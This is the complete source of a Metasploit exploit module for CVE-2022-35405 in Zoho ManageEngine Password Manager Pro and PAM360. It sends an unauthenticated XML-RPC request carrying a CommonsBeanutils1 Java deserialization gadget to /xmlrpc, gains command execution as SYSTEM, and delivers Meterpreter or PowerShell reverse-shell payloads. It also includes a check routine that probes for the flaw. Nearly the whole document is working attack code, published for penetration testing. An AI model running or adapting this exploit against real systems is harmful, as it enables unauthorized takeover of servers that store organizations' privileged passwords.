Zoho Password Manager Pro XML-RPC Java Deserialization

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::JavaDeserialization  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zoho Password Manager Pro XML-RPC Java Deserialization',        'Description' => %q{          This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro          before 12101 and PAM360 before 5510. Unauthenticated attackers can send a          crafted XML-RPC request containing malicious serialized data to /xmlrpc to          gain RCE as the SYSTEM user.        },        'Author' => [          'Vinicius', # Discovery          'Y4er', # Writeup          'Grant Willcox' # Exploit        ],        'References' => [          ['CVE', '2022-35405'],          ['URL', 'https://xz.aliyun.com/t/11578'], # Writeup          ['URL', 'https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html'], # Advisory          ['URL', 'https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm'] # The patch.        ],        'DisclosureDate' => '2022-06-24', # Vendor release date of patch and new installer, as advisory lacks any date.        'License' => MSF_LICENSE,        'Platform' => ['win'],        'Arch' => [ARCH_CMD, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'Windows EXE Dropper',            {              'Arch' => ARCH_X64,              'Type' => :windows_dropper,              'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }            }          ],          [            'Windows Command',            {              'Arch' => ARCH_CMD,              'Type' => :windows_command,              'Space' => 3000,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }            }          ],          [            'Windows Powershell',            {              'Arch' => ARCH_X64,              'Type' => :windows_powershell,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' }            }          ]        ],        'DefaultTarget' => 1,        'DefaultOptions' => {          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      Opt::RPORT(7272),      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    # Send an empty serialized object    res = send_request_xmlrpc('')    unless res      return CheckCode::Unknown('Target did not respond to check.')    end    if res.body.include?('Failed to read result object: null')      return CheckCode::Vulnerable('Target can deserialize arbitrary data.')    end    CheckCode::Safe('Target cannot deserialize arbitrary data.')  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :windows_command      execute_command(payload.encoded)    when :windows_dropper      cmd_target = targets.select { |target| target['Type'] == :windows_command }.first      execute_cmdstager({ linemax: cmd_target.opts['Space'] })    when :windows_powershell      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))    end  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    res = send_request_xmlrpc(      generate_java_deserialization_for_command('CommonsBeanutils1', 'cmd', cmd)    )    unless res && res.code == 200      fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")    end    print_good("Successfully executed command: #{cmd}")  end  def send_request_xmlrpc(data)    # http://xmlrpc.com/    # https://ws.apache.org/xmlrpc/    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/xmlrpc'),      'ctype' => 'text/xml',      'data' => <<~XML        <?xml version="1.0"?>        <methodCall>          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>          <params>            <param>              <value>                <struct>                  <member>                    <name>#{rand_text_alphanumeric(8..42)}</name>                    <value>                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>                    </value>                  </member>                </struct>              </value>            </param>          </params>        </methodCall>      XML    )  endend